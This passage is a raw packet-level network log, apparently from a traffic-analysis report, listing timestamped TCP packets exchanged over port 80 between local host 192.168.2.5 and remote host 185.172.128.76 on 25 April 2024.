Apr 25, 2024 21:48:01.575109959 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.575124979 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.575134039 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.575150013 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.575150967 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.575174093 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.575186968 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.575201988 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.575213909 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.575248003 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.575265884 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.575314045 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.575330019 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.575344086 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.575376034 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.575387001 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.575407028 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.575445890 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.575453043 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.575495958 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.575525045 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.575539112 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.575567961 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.575572968 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.575584888 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.575587988 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.575617075 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.575623035 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.575670004 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.575691938 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.575691938 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.575699091 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.575709105 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.575711012 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.575736046 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.575757027 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.575773954 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.575797081 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.575817108 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.575819969 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.575840950 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.575854063 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.575860023 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.575882912 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.575902939 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.575916052 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.575922966 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.575968027 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.575968981 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.575982094 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.576024055 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.576034069 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.576111078 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.576141119 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.576183081 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.576212883 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.576225996 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.576252937 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.576260090 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.576267004 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.576312065 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.576319933 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.576334000 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.576371908 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.576371908 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.576380968 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.576431990 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.576451063 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.576463938 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.576495886 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.576497078 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.576503992 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.576543093 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.576574087 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.576618910 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.576637983 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.576678038 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.576687098 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.576725006 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.576785088 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.576828957 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.576838017 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.576863050 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.576883078 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.576889992 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.576895952 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.576936007 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.576936960 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.576972961 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.577008963 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.577044010 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.577052116 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.577084064 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.577140093 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.577151060 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.577183962 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.577198029 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.577222109 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.577235937 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.577259064 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.577261925 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.577275038 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.577279091 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.577299118 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.577318907 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.577397108 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.577414036 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.577433109 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.577445030 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.577464104 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.577469110 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.577475071 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.577482939 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.577517986 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.577517986 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.577543020 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.577579021 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.577626944 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.577639103 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.577650070 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.577665091 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.577677011 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.577703953 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.577721119 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.577748060 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.577756882 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.577788115 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.577842951 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.577879906 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.577881098 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.577934980 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.577939987 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.577951908 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.577981949 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.577982903 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.577994108 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.578016996 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.578058004 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.578099966 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.578185081 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.578232050 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.578246117 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.578280926 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.578351974 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.578389883 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.578425884 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.578455925 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.578463078 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.578466892 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.578490019 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.578500986 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.578532934 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.578571081 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.578608036 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.578645945 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.578689098 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.578700066 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.578718901 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.578735113 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.629440069 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.629548073 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.629770041 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.629823923 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.629833937 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.629848003 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.629873991 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.629890919 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.629915953 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.629954100 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.629981995 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.630019903 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.630021095 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.630059004 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.630085945 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.630125999 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.630172014 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.630213976 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.630253077 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.630291939 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.630320072 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.630358934 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.630387068 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.630413055 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.630433083 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.630448103 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.630513906 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.630553961 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.630565882 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.630603075 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.630743980 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.630789042 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.630805016 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.630842924 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.630861044 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.630884886 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.630897999 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.630914927 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.630975962 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.631020069 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.631115913 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.631131887 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.631169081 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.631170034 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.631186962 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.631211042 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.631230116 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.631253958 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.631266117 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.631299019 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.631328106 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.631354094 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.631366968 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.631391048 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.631417990 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.631432056 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.631444931 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.631458044 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.631473064 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.631485939 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.631498098 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.631536007 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.631563902 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.631576061 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.631602049 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.631616116 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.631628990 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.631661892 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.631673098 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.631697893 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.631697893 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.631711960 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.631736994 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.631751060 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.631793022 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.631831884 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.631850958 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.631889105 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.631899118 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.631925106 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.631937027 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.631958961 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.631964922 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.631999969 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.632024050 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.632061958 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.632086992 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.632122993 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.632209063 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.632250071 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.632250071 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.632286072 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.632299900 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.632311106 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.632337093 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.632347107 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.632361889 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.632400990 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.632699966 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.632760048 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.632822037 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.632862091 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.632891893 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.632929087 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.632958889 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.632975101 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.633006096 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.633019924 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.633032084 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.633044004 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.633068085 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.633069038 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.633079052 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.633096933 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.633105040 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.633132935 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.633167028 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.633203983 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.633205891 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.633243084 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.633255959 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.633281946 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.633294106 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.633295059 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.633318901 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.633322001 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.633330107 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.633358955 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.633383989 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.633398056 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.633418083 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.633423090 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.633434057 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.633452892 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.633482933 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.633510113 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.633522034 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.633524895 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.633548021 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.633548975 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.633563042 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.633594036 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.633606911 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.633640051 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.633668900 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.633701086 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.633727074 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.633738995 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.633752108 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.633758068 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.633774996 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.633779049 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.633788109 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.633819103 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.633853912 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.633868933 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.633891106 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.633905888 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.633974075 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.634007931 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.634382963 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.634393930 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.634414911 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.634432077 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.634454966 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.634486914 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.634500980 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.634517908 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.634538889 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.634553909 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.634573936 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.634608030 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:01.634653091 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:01.634686947 CEST	49704	80	192.168.2.5	185.172.128.76
